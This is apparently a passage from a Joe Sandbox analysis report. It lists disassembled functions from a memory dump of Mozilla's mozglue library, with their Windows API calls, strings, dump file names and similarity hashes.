_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAC4A68), ref: 6CAFDE7B

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAC4A68), ref: 6CAFDEB8
free.MOZGLUE(00000000,?,6CAC4A68), ref: 6CAFDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAFDF38

Strings

<none>, xrefs: 6CAFDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CAFE00E
[I %d/%d] locked_profiler_stop, xrefs: 6CAFDE83

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 3f743b28fe63e24dc6f15b86582f1bf6dae7c728f2d5beee094fa1b08d5d2685
Instruction ID: e937985a6dd2e228ddafac059f933ee30b579111353aa8869c669f4598a756a9
Opcode Fuzzy Hash: 3f743b28fe63e24dc6f15b86582f1bf6dae7c728f2d5beee094fa1b08d5d2685
Instruction Fuzzy Hash: 22412835B016209BEB219F68D904BAE7B75EB4631DF044115F92D87B41CB31988ACBE2

Function 6CB0D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D918
GetCurrentThreadId.KERNEL32 ref: 6CB0D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D970
GetCurrentThreadId.KERNEL32 ref: 6CB0D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB0DA2E
GetCurrentThreadId.KERNEL32 ref: 6CB0DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CB0DA91

Part of subcall function 6CAD5C50: GetTickCount64.KERNEL32 ref: 6CAD5D40
Part of subcall function 6CAD5C50: EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0DAB7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 3e16dce27e700eae43578053db3d6124578752d068549b15bea32c2c82dfe9e7
Instruction ID: 7e7a8d6f76e22e8724a03c924c41859d71eb4402fa421ebd2fa125e10995bdb1
Opcode Fuzzy Hash: 3e16dce27e700eae43578053db3d6124578752d068549b15bea32c2c82dfe9e7
Instruction Fuzzy Hash: 7B71BB317047149FCB00DF28D888B9EBBF5FF89314F15866AE85A9B345DB30A944CB92

Function 6CB0D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D52A
GetCurrentThreadId.KERNEL32 ref: 6CB0D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D55F
free.MOZGLUE(00000000), ref: 6CB0D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB0D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB0D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D652
GetCurrentThreadId.KERNEL32 ref: 6CB0D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D6A2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d571d475ba7577e43a74cd25ff100a3e813b0167402903448199d82de7658fc4
Instruction ID: 704b51fab80c8752c36682e150450fd74b382306c5cb8bce525a4f02ed04df9c
Opcode Fuzzy Hash: d571d475ba7577e43a74cd25ff100a3e813b0167402903448199d82de7658fc4
Instruction Fuzzy Hash: 61517D71604B45DFC714DF34D488A9ABBF4FF89318F008A2EE85A87751DB30A959CB91

Function 6CAD5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAD56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAD56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAD5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD57BC
GetTickCount64.KERNEL32 ref: 6CAD58CB
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD58F3
__aulldiv.LIBCMT ref: 6CAD5945
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB3F638,?,?,?,?), ref: 6CAD59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAD56CC

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 8085d77208d221655a85d681e54ad7363d062ef12d844d3eef107574060ad01e
Instruction ID: 6bb548e84cce476d4e2ee13f14654fd2ded128d7c98e115f9354a40d58185d2b
Opcode Fuzzy Hash: 8085d77208d221655a85d681e54ad7363d062ef12d844d3eef107574060ad01e
Instruction Fuzzy Hash: ABC18E71A087509FDB15CF28C54066EBBF1FFCA714F169A5DE8C897660D730A889CB82

Function 6CAFEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFEC8C

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFECA1
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAFECC5
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFED19
CloseHandle.KERNEL32(?), ref: 6CAFED28
free.MOZGLUE(00000000), ref: 6CAFED2F
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAFEC94

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 35196275f394a7e301f3eeee5f925fed76e365aa58fa3cf1e6dcc08e3195362f
Instruction ID: 0cfa34ff086a49e21b5e4a1aa6df2543a6cd79e29da0795af1fcbb383adb4ed2
Opcode Fuzzy Hash: 35196275f394a7e301f3eeee5f925fed76e365aa58fa3cf1e6dcc08e3195362f
Instruction Fuzzy Hash: 0F210275600524ABDF109F28D908A9E3739EB4636DF144210FD2C87B81DB31984BCBF1

Function 6CAF8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CABEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CABEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CAFB392,?,?,00000001), ref: 6CAF91F4

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Strings

timeline-memory, xrefs: 6CAF9088
stack-chart, xrefs: 6CAF90B2
timeline-fileio, xrefs: 6CAF90A4
marker-table, xrefs: 6CAF906C
timeline-ipc, xrefs: 6CAF9096
name, xrefs: 6CAF8F16
data, xrefs: 6CAF90E8
timeline-overview, xrefs: 6CAF907A
marker-chart, xrefs: 6CAF905E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f1ea80b985c642fead0357aa14d72a83fc3e2ecfac47b2539c6b443eb2eeda9d
Instruction ID: e40dcb0bb9492529affcd9ceeccd2ed18bd4268da5bdd94bb269a66143deded6
Opcode Fuzzy Hash: f1ea80b985c642fead0357aa14d72a83fc3e2ecfac47b2539c6b443eb2eeda9d
Instruction Fuzzy Hash: 47B1C3B0B012499BDB04CFA8DA517FEBBB5BF84318F144129E416ABF90C7359989CBD1

Function 6CADC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CADC5A3
WideCharToMultiByte.KERNEL32 ref: 6CADC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CADC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CADCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CADCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADCAA5

Strings

0, xrefs: 6CADD30A
(null), xrefs: 6CADC596

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 67a474958267eca72047632f3a5b590f14476622da608bbb56560e0a8dadb922
Instruction ID: 35b36d756369c9b7cb17f3427117e51ca1956ad823d616920ea1511e4f025b96
Opcode Fuzzy Hash: 67a474958267eca72047632f3a5b590f14476622da608bbb56560e0a8dadb922
Instruction Fuzzy Hash: 81A1CC306083528FDB10DF28C98475ABBE5BF8974CF0A892CE889D7741D731E885CB92

Function 6CADC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CADC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CADC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CADC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADC891

Strings

NAN, xrefs: 6CADC7AD
nan, xrefs: 6CADC7A8
inf, xrefs: 6CADC78F
INF, xrefs: 6CADC794

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 04b24c6580118f4c62674d862fff040cac1f667f7781e8f69091888b6951f68a
Instruction ID: 4d12688c10582ca2ffff826de36d3ce3ce03ef0680b3ef9818ac8b4033ae4d2b
Opcode Fuzzy Hash: 04b24c6580118f4c62674d862fff040cac1f667f7781e8f69091888b6951f68a
Instruction Fuzzy Hash: 035191709087808BD700AF6CC58569EFBF0BF8A308F458A2CE9D5A7650E774E9C5CB52

Function 6CAB3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAB350E
__Init_thread_footer.LIBCMT ref: 6CAB3522
__aulldiv.LIBCMT ref: 6CAB3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB3592

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

Strings

kernel32.dll, xrefs: 6CAB34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAB3508

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 3406647288093e54549eb8835a8178154af8f09ddd440f423d21bbbc89549c74
Instruction ID: c6ff694b0d585461509558a1772a9741b4de38db6312c46f9df7a5b047ae9e66
Opcode Fuzzy Hash: 3406647288093e54549eb8835a8178154af8f09ddd440f423d21bbbc89549c74
Instruction Fuzzy Hash: B731F675B01215AFDF20DFB8CA48EAE77B9FB45304F144519E549E3690DB70A944CF60

Function 6CAB4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAF4843,?), ref: 6CAB45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAF4843,?), ref: 6CAB468A
free.MOZGLUE(?,?,?,?,?,?,6CAF4843,?), ref: 6CAB46C9
free.MOZGLUE(?), ref: 6CAB46EF
free.MOZGLUE(?), ref: 6CAB4712
free.MOZGLUE(?), ref: 6CAB4735
free.MOZGLUE(?), ref: 6CAB4758
free.MOZGLUE(?), ref: 6CAB477B
free.MOZGLUE(?), ref: 6CAB479E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4f899b9250748cc2e25e65c2fcf07b466ffbd44bf0ee38af5cbbb2ca00518699
Instruction ID: 7dfee9e6bec6dd4fca0cce600d53366a11d1640d073cc18fa5de5077e6187691
Opcode Fuzzy Hash: 4f899b9250748cc2e25e65c2fcf07b466ffbd44bf0ee38af5cbbb2ca00518699
Instruction Fuzzy Hash: 6BB1F371A005518FDB18DF7CC9A476D77BAAF42328F184669E416EBB86DB3098C4CB81

Function 6CB1AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB1AC52
CreateFileMappingW.KERNEL32 ref: 6CB1AC7D
GetSystemInfo.KERNEL32 ref: 6CB1AC98
MapViewOfFile.KERNEL32 ref: 6CB1ACB0
GetSystemInfo.KERNEL32 ref: 6CB1ACCD
MapViewOfFile.KERNEL32 ref: 6CB1AD05
UnmapViewOfFile.KERNEL32 ref: 6CB1AD1C
CloseHandle.KERNEL32 ref: 6CB1AD28
UnmapViewOfFile.KERNEL32 ref: 6CB1AD37
CloseHandle.KERNEL32 ref: 6CB1AD43
CloseHandle.KERNEL32 ref: 6CB1AD67

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8670aea69b487aed863c185d98982dbc6db741ffeea8eab4900692212355b43a
Instruction ID: 2dec6f563a1b99c1bc3553f8c995f8d6176ff461166d1f16fd22bc7dad7f7b02
Opcode Fuzzy Hash: 8670aea69b487aed863c185d98982dbc6db741ffeea8eab4900692212355b43a
Instruction Fuzzy Hash: 053172B1904B558FDB00AF7DD64826EBBF0FF85305F014A2DE98987255EB749448CB82

Function 6CAC9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAC9675
__Init_thread_footer.LIBCMT ref: 6CAC9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAC96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAC9707
__Init_thread_footer.LIBCMT ref: 6CAC971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9773

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAC97B7
FreeLibrary.KERNEL32 ref: 6CAC97D0
FreeLibrary.KERNEL32 ref: 6CAC97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9824

Strings

MapViewOfFileNuma2, xrefs: 6CAC97B1
ntdll.dll, xrefs: 6CAC96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAC9670
NtMapViewOfSection, xrefs: 6CAC9701

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 13fa92291af4bbb8dc6d0039b2cfc420bc1736a02e18a13e649f8909b55c1334
Instruction ID: 78de15e52b2fb64104b6842c5b67fe81386a9b567795da5738df470e35099380
Opcode Fuzzy Hash: 13fa92291af4bbb8dc6d0039b2cfc420bc1736a02e18a13e649f8909b55c1334
Instruction Fuzzy Hash: 9B41F174700215DBDF10DFA5EA88A8E3BB4FB49328F044568ED1987780D730E858CBE2

Function 6CAB1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1EC1
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1EE1
EnterCriticalSection.KERNEL32(6CB3E744), ref: 6CAB1F38
LeaveCriticalSection.KERNEL32(6CB3E744), ref: 6CAB1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAB1F83
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FC0
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FE2
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FF6
